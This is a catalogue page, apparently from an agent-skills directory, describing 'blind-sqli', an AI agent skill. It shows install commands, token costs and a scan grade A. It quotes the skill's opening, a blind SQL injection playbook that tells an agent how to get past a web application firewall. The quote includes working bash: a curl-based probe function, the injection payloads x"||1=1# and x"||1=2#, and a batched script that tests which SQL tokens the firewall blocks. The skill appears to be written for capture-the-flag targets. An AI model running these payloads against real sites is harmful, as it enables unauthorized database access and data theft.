Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill blind-sqligit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/blind-sqli)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/blind-sqli"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/blind-sqli/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/blind-sqli"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/blind-sqli.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00088 | $0.02935 |
| Opus 5 | $0.00044 | $0.01468 |
| Sonnet 5 | $0.00018 | $0.00587 |
| Haiku 4.5 | $0.00009 | $0.00294 |
Grade A, and why
blind-sqli scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \ This is a copy
95% identical to blind-sqli — 1 line differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 213 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Blind SQL Injection — Manual WAF Bypass
Companion to sqli.md. Load this only after you have:
- Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes).
- Confirmed sqlmap with
--tampercannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.
If both conditions hold, the goal is to hand-craft a payload that substitutes every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count.
Confirm the oracle first (≤2 minutes)
The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:
probe() {
local label="$1"; local payload="$2"
local resp
resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \
--data-urlencode "username=${payload}")
echo "$resp" \
| grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \
| head -1
}
probe "true probe" "x\"||1=1#" # expect: User exists
probe "false probe" "x\"||1=2#" # expect: No results
probe "filter probe" "x\"||SLEEP(0)#" # expect: filtered (token banned)
A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but bash's time resolution and HTTP jitter make a content oracle 5-10× more reliable.
Step 1 — WAF token fingerprint (batched probe script)
Test 10-15 candidate tokens in one script, log each as a labelled line. One script run beats 15 sequential bash calls (saves ~70% of the round-trip cost).
cat > /tmp/probe.sh <<'EOF'
#!/usr/bin/env bash
set -u
TARGET="${TARGET:?set TARGET=host:port}"
ENDPOINT="${ENDPOINT:-/search.php}"
PARAM="${PARAM:-username}"
INJ="${INJ:-x\"||{PAYLOAD}#}" # outer template; {PAYLOAD} is replaced
probe() {
local label="$1"; local payload="$2"
local body="${INJ/'{PAYLOAD}'/$payload}"
local resp
resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
--data-urlencode "$PARAM=$body")
local sig
sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1)
printf "%-40s | %s\n" "$label" "${sig:-???}"
}
# === SQL token sniff matrix ===
probe "1=1 baseline true" "1=1"
probe "1=2 baseline false" "1=2"
probe "WHERE clause" "EXISTS(SELECT 1 FROM users WHERE 1=1)"
probe "AND keyword" "1=1 AND 1=1"
probe "&& operator" "1=1 && 1=1"
probe "OR keyword" "1=0 OR 1=1"
probe "|| operator" "1=0 || 1=1"
probe "IF function" "IF(1=1,1,0)"
probe "CASE WHEN" "(CASE WHEN 1=1 THEN 1 ELSE 0 END)"
probe "SUBSTRING(str,1,1)" "SUBSTRING('abc',1,1)='a'"
probe "MID(str,1,1)" "MID('abc',1,1)='a'"
probe "ASCII(c)" "ASCII('a')=97"
probe "ORD(c)" "ORD('a')=97"
probe "GROUP_CONCAT()" "GROUP_CONCAT('a','b')='ab'"
probe "single-quote 'a'" "'a'='a'"
probe "double-quote \"a\"" "\"a\"=\"a\""
probe "hex 0x61" "0x61='a'"
probe "arithmetic boolean" "(1=1)*(1=1)=1"
EOF
chmod +x /tmp/probe.sh
TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 213 lines · 88 tokens per session scan A a0b7bbe6e349
blind-sqli is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 88 tokens to every session and 2,935 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 95% identical to blind-sqli, differing in 1 line, and is treated as a copy.
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../../../pentest/web-app-pentest/SKILL.md.
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